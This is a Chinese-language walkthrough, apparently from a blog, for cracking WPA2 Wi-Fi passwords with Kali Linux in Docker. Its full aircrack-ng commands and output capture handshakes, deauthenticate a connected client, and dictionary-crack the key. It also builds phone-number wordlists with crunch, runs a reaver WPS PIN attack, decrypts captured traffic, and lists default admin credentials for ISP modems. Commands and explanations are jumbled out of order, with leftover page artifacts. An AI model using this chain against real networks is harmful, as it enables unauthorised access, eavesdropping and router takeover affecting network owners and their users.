FROM kalilinux/kali-last-release
RUN apt update && apt install -y pciutils net-tools procps crunch wordlists aircrack-ng reaver
WORKDIR /root/workspace
0x00 引言
Kali是一种常用于渗透测试的Linux发行版,它集成了多种安全工具。本文将介绍如何使用Docker安装Kali,并进行Wifi密码破解。请注意,本文仅用于技术研究,切勿用于非法用途。
0x01 在Docker中安装Kali系统
Kali官方提供了Docker镜像:kalilinux/kali-last-release。然而,该镜像并未包含所有工具,如果要安装全部工具,镜像大小将超过4G。显然,并非所有人都需要这么多工具。因此,用户可以根据需要编写Dockerfile来定制不同的Kali镜像。
对于Wifi密码破解,可以编写以下Dockerfile。
$ sudo docker build -t kali .
$ sudo docker run -it --net="host" --privileged -v $(pwd)/workspace:/root/workspace kali
┌──(root㉿drunkdream-LB0)-[~/workspace]
└─#
└─# airmon-ng
Your kernel has module support but you don't have modprobe installed.
It is highly recommended to install modprobe (typically from kmod).
Your kernel has module support but you don't have modinfo installed.
It is highly recommended to install modinfo (typically from kmod).
Warning: driver detection without modinfo may yield inaccurate results.
PHY Interface Driver Chipset
phy0 wlp0s20f3 iwlwifi Intel Corporation Comet Lake PCH CNVi WiFi
复制 复制 运行时网络需要使用host模式,以便访问宿主机上的无线网卡,并开启特权模式。为了实现数据持久化存储,可以将本地目录挂载到容器中。
接下来的所有操作都将在该容器中进行。
0x02 Wifi密码破解
在这里,我们将主要使用aircrack-ng系列命令来破解Wifi密码。
└─# airmon-ng start wlp0s20f3
Your kernel has module support but you don't have modprobe installed.
It is highly recommended to install modprobe (typically from kmod).
Your kernel has module support but you don't have modinfo installed.
It is highly recommended to install modinfo (typically from kmod).
Warning: driver detection without modinfo may yield inaccurate results.
PHY Interface Driver Chipset
phy0 wlp0s20f3 iwlwifi Intel Corporation Comet Lake PCH CNVi WiFi
(mac80211 monitor mode vif enabled for [phy0]wlp0s20f3 on [phy0]wlp0s20f3mon)
(mac80211 station mode vif disabled for [phy0]wlp0s20f3)
└─# airodump-ng wlp0s20f3mon
Warning: Detected you are using a non-UNICODE terminal character encoding.
CH 11 ][ Elapsed: 24 s ][ 2022-05-22 15:36
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
74:CF:00:DA:F4:40 -11 15 0 0 2 130 WPA2 CCMP PSK CMCC-X5qG
8C:53:C3:C8:16:E6 -13 18 4 0 1 130 WPA2 CCMP PSK Xiaomi_16E4
└─# airodump-ng -c 2 --bssid 74:CF:00:DA:F4:40 -w dump wlp0s20f3mon
CH 2 ][ Elapsed: 18 s ][ 2022-05-22 16:04 ][ WPA handshake: 74:CF:00:DA:F4:40
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
74:CF:00:DA:F4:40 -13 100 215 15 0 2 130 WPA2 CCMP PSK CMCC-X5qG
BSSID STATION PWR Rate Lost Frames Notes Probes
74:CF:00:DA:F4:40 1C:2A:DB:0E:D5:AC -29 6e- 6e 1921 478 EAPOL drunkdream
复制 复制 此时,您将无法在宿主机系统中看到该无线网卡,相反,会多出一个名为wlp0s20f3mon的设备。此时,需要在网卡名后面加上mon。
通过该命令,您可以获取附近的Wifi列表。
用法:airodump-ng -c <频道> –bssid
# ls -l | grep dump
-rwxrwxrwx 1 1000 1000 225870 May 22 23:30 dump-01.cap
-rwxrwxrwx 1 1000 1000 883 May 22 23:30 dump-01.csv
-rwxrwxrwx 1 1000 1000 601 May 22 23:30 dump-01.kismet.csv
-rwxrwxrwx 1 1000 1000 7330 May 22 23:30 dump-01.kismet.netxml
-rwxrwxrwx 1 1000 1000 92078 May 22 23:30 dump-01.log.csv
复制 使用此命令可以获取连接到指定Wifi的客户端列表。当捕获到握手包时,会提示”WPA handshake: 74:CF:00:DA:F4:40″这样的字符串,这时可以停止数据捕获。此时,数据包将保存在当前目录下:
└─# aireplay-ng -02 -a 74:CF:00:DA:F4:40 -c 1C:2A:DB:0E:D5:AC wlp0s20f3mon
16:11:07 Waiting for beacon frame (BSSID: 74:CF:00:DA:F4:40) on channel 2
16:11:07 Sending 64 directed DeAuth (code 7). STMAC: [1C:2A:DB:0E:D5:AC] [ 0| 2 ACKs]
16:11:08 Sending 64 directed DeAuth (code 7). STMAC: [1C:2A:DB:0E:D5:AC] [ 4|197 ACKs]
└─# airmon-ng stop wlp0s20f3mon
└─# aircrack-ng -a2 -b 74:CF:00:DA:F4:40 -w password.dict dump-01.cap
Reading packets, please wait...
Opening dump-01.cap
Read 1734 packets.
1 potential targets
Aircrack-ng 1.6
[00:00:00] 3/5 keys tested (71.89 k/s)
Time left: 0 seconds 60.00%
KEY FOUND! [ 12345678 ]
Master Key : 1E 30 C1 07 43 14 93 F2 74 D3 6D 8E F3 E2 E1 07
18 4C 47 01 1F 87 D6 87 A7 0A 49 01 C0 24 F5 A1
Transient Key : C4 D6 53 3B DA C8 D4 23 D5 7D 82 EE 73 67 7D 3D
6B 6B 04 BF B1 66 29 74 3E E1 CB FD 8C 90 6B E8
DE 0D 8C 32 21 3E 8E F0 9D 1A 2B 76 BB 0E 3E FD
EB 95 8C 7D C0 43 90 12 4E 3D A4 A5 F2 75 CF FF
EAPOL HMAC : 21 B2 AA 47 4F AB E3 77 53 24 73 21 7E 06 78 10
复制 如果客户端一直正常连接,很难捕获到握手包。这时需要将客户端踢下线。
用法:aireplay-ng -0 <重发次数> -a
执行此操作时,需要确保上一步骤的命令同时在执行。
捕获到握手包的.cap文件后,就可以离线破解Wifi密码了。例如,可以使用性能较好的计算机或分布式方式进行破解。
用法:aircrack-ng -w <密码字典> <捕获的.cap文件>
复制 password.dict是密码字典,破解成功与否取决于密码是否包含在字典中。因此,对于过于复杂的密码,破解成功率会非常低。
为了提高破解成功率,可以根据具体场景生成有针对性的密码字典,例如使用生日、手机号等信息。这里使用crunch命令来生成密码字典。
使用语法和参数:
└─# crunch 11 11 -t 136%%%%%%%% -o 136.txt
Crunch will now generate the following amount of data: 1200000000 bytes
1144 MB
1 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000000
crunch: 7% completed generating output
crunch: 15% completed generating output
crunch: 22% completed generating output
crunch: 29% completed generating output
crunch: 36% completed generating output
crunch: 43% completed generating output
crunch: 51% completed generating output
crunch: 58% completed generating output
crunch: 65% completed generating output
crunch: 72% completed generating output
crunch: 79% completed generating output
crunch: 86% completed generating output
crunch: 93% completed generating output
crunch: 100% completed generating output
└─# ls -l | grep 136
-rwxrwxrwx 1 1000 1000 1200000000 May 23 15:16 136.txt
└─# reaver -i wlp0s20f3mon -b D0:C7:C0:DF:2A:74 -vv
复制 以生成以136开头的所有手机号为例:
└─# airdecap-ng -e drunkdream -p 12345678 dump-01.cap
Total number of stations seen 4
Total number of packets read 8838
Total number of WEP data packets 0
Total number of WPA data packets 2905
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 2228
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
可以看到,生成的密码字典相当庞大。
0x03 破解WPS PIN码
WPS(Wi-Fi Protected Setup,Wi-Fi保护设置)是由Wi-Fi联盟组织实施的认证项目,旨在简化无线网络的安全加密设置。在传统方式下,用户新建一个无线网络时,必须手动设置网络名(SSID)和安全密钥,然后在客户端验证密钥以防止未经授权的访问。Wi-Fi Protected Setup可以帮助用户自动设置网络名(SSID)和配置最高级别的WPA2安全密钥。具备WPS功能的无线产品通常在机身上设计有一个WPS按钮,用户只需按下该按钮或输入个人识别号码(PIN),然后经过几个简单的步骤即可完成无线加密设置,并在客户端和路由器之间建立起安全连接。
PIN码是随机生成的8位数字,可以通过穷举遍历的方式进行破解。PIN码的第8位是一个校验和(checksum),因此黑客只需计算出前7位即可。这样,唯一的PIN码数量从1000万变成了100万。
在进行PIN码身份验证时,接入点(无线路由器)实际上是要找出PIN的前半部分(前4位)和后半部分(后3位)是否正确。当第一次PIN认证连接失败后,路由器会向客户端发送一个EAP-NACK信息,通过该回应,攻击者将能够确定PIN的前半部分或后半部分是否正确。换句话说,黑客只需从7位PIN中找出一个4位PIN和一个3位PIN。这样一来,PIN码的变化数量从1000万减少到了11000(10的4次方 + 10的3次方)。因此,在实际破解尝试中,黑客最多只需尝试11000次。
crunch
[options]
min 设定最小字符串长度(必选)
max 设定最大字符串长度(必选)
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
特殊字符
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字符
复制 然而,目前这种攻击方法的成功率非常低,只有少数非常老旧的路由器可能存在此漏洞。
0x04 网络流量嗅探
首先使用airodump-ng命令捕获数据包(必须包含握手包才能解密),然后使用airdecap-ng命令解密数据包。
用法:airdecap-ng -e
复制 解密后的数据包将保存在dump-01-dec.cap文件中,可以使用Wireshark打开。然而,与本地抓包相同,无法解密HTTPS数据包。如果想要解密HTTPS数据包,可以考虑使用中间人攻击。
0x05 破解路由器密码
获取密码后,就可以成功连接到Wifi,并登录路由器管理页面,从中获取更多信息。
一般路由器的IP地址为:192.168.1.1、192.168.10.1、192.168.100.1等。如果不确定,可以通过IP和端口扫描来判断。
获取IP地址后,需要获取登录密码。以下是一些常见的默认密码:
路由器类型 账号 密码
移动光猫 CMCCAdmin aDm8H%MdA
联通光猫 CUAdmin CUAdmin
电信光猫 telecomadmin nE7jA%5m
华为 telecomadmin admintelecom
0x06 总结
破解无线网络密码的关键是捕获握手包,然后使用字典进行离线破解。因此,字典中是否包含密码成为破解成功与否的关键。
WPS是另一种破解Wifi密码的方法,但实际测试中发现成功率非常低。
0x07 参考文献